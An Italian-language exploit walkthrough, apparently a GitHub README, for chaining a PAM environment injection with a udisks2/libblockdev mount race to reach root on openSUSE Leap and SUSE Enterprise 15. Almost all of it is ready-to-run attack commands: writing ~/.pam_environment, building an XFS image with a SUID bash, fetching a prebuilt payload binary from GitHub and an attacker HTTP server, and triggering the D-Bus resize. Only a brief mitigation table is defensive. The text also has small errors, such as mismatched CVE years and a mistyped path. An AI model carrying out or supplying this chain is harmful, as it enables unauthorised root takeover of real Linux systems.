
# Catena di exploit per l'escalation dei privilegi locali su SUSE Linux, che combina l'iniezione dell'ambiente PAM e una condizione di gara in udisks2 per ottenere una shell di root.
Sistema operativo target: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Accesso richiesto: Utente locale non privilegiato con accesso SSH
Risultato: Shell di root completa
Questo documento descrive lo sfruttamento manuale di due vulnerabilità concatenate di escalation dei privilegi locali scoperte dalla Qualys Threat Research Unit:
~/.pam_environment, che consente a un utente SSH remoto di ottenere lo stato Polkit allow_active normalmente riservato agli utenti fisicamente presenti alla console.libblockdev (usato da udisks2) non applica il flag nosuid quando monta temporaneamente un filesystem durante un'operazione D-Bus Filesystem.Resize, consentendo l'esecuzione di un binario SUID da un dispositivo a loop controllato dall'utente.Concatenate, queste vulnerabilità consentono a qualsiasi utente SSH non privilegiato di elevare i propri privilegi a root senza alcuna interazione da parte di altri utenti.
Macchina dell'attaccante (Kali Linux):
xfsprogs installato (sudo apt install xfsprogs -y)gcc disponibilepython3 -m http.server)Macchina target:
udisks2 e polkit installati (predefiniti su questi sistemi)gdbus disponibile (parte di glib2, installato per impostazione predefinita)Dopo aver ottenuto l'accesso SSH come utente non privilegiato, conferma che il target sia vulnerabile.
Controlla il sistema operativo:
cat /etc/os-release | grep -E "NAME|VERSION"
Il sistema deve essere openSUSE Leap 15.x o SUSE Linux Enterprise 15.x.
Verifica che pam_env legga i file utente:
grep "pam_env" /etc/pam.d/common-auth
Cerca user_readenv=1 o semplicemente la presenza di pam_env.so. Nelle installazioni SUSE predefinite questa funzionalità è abilitata.
Verifica che udisks2 e polkit siano in esecuzione:
systemctl is-active udisks2
systemctl is-active polkit
Controlla la policy Polkit per la configurazione dei dispositivi a loop:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
Il valore allow_active deve essere yes.
allow_active tramite Iniezione PAMQuesta vulnerabilità sfrutta il fatto che pam_env.so legge ~/.pam_environment durante il login SSH e inietta quelle variabili nell'ambiente della sessione prima che pam_systemd.so valuti il contesto della sessione. Impostando XDG_SEAT e XDG_VTNR, l'attaccante inganna systemd-logind facendogli trattare la sessione SSH remota come una sessione di console fisica, concedendo i privilegi Polkit allow_active.
Inietta le variabili:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
Disconnettiti e riconnettiti tramite SSH per attivare l'elaborazione PAM:
exit
ssh user@<target_ip>
Verifica che allow_active sia ora concesso:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
L'output deve mostrare:
Active=yes
Seat=seat0
VTNr=1
Imposta l'ID della sessione e l'indirizzo D-Bus se non vengono popolati automaticamente:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
L'immagine XFS deve essere formattata con funzionalità compatibili con il kernel SUSE 15. Le versioni moderne di xfsprogs abilitano funzionalità come exchange, parent, bigtime, inobtcount e nrext64 per impostazione predefinita, che non sono supportate dai kernel SUSE più vecchi e causeranno errori di montaggio. I seguenti flag producono un'immagine XFS V5 compatibile:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
Monta l'immagine e inietta un binario bash SUID:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
L'output deve mostrare -rwsr-xr-x 1 root root.
Poiché la finestra di montaggio vulnerabile durante Filesystem.Resize è larga solo pochi millisecondi, è necessario un binario C compilato per catturarla in modo affidabile. Un semplice loop Bash è troppo lento.
Scarica il payload precompilato dalla pagina delle release:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] Puoi anche compilare tu stesso il binario. Il codice sorgente è disponibile in payload.c.
Servi entrambi i file tramite HTTP:
cd /tmp && python3 -m http.server 8888
# Trasferisci l'immagine XFS
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# Trasferisci il binario catturatore
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
Questo passaggio richiede due sessioni SSH simultanee sul target.
Configura il dispositivo a loop (in entrambe le sessioni):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
Annota il dispositivo a loop assegnato, ad esempio /dev/loop1.
Sessione 1: Avvia il catturatore e lascialo in esecuzione:
/tmp/payload
[!NOTE] Se il catturatore esce immediatamente senza produrre una shell di root, prova ad avviarlo prima di configurare il dispositivo a loop e ripeti la sequenza.
Sessione 2: Attiva immediatamente il resize:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
La chiamata Resize restituirà un errore, ma prima di fallire, libblockdev monta il filesystem in un percorso temporaneo sotto /tmp/blockdev.XXXXXX/ senza il flag nosuid. Il catturatore nella Sessione 1 rileva questo montaggio, esegue il binario bash SUID al suo interno, copia una shell di root in /tmp/rootbash e la avvia.
[!NOTE] Se riscontri problemi con
Not authorized to perform operation, prova a usare il terminale che hai utilizzato con successo per eseguire il comandoudiskctl loop-setup...e usa l'altra shell per eseguire lo script/tmp/payload.
Una volta che il catturatore completa l'operazione, una shell di root viene avviata automaticamente oppure può essere ottenuta tramite:
/ttmp/rootbash -p
whoami
# root
| Componente | Correzione |
|---|
| CVE-2025-6018 | Disabilita user_readenv in PAM: imposta user_readenv=0 in /etc/pam.d/common-auth |
| CVE-2025-6019 | Aggiorna libblockdev e udisks2 alle versioni patchate fornite dal vendor della distribuzione |
| Indurimento Polkit | Cambia allow_active in auth_admin per org.freedesktop.udisks2.loop-setup nel file di policy UDisks2 |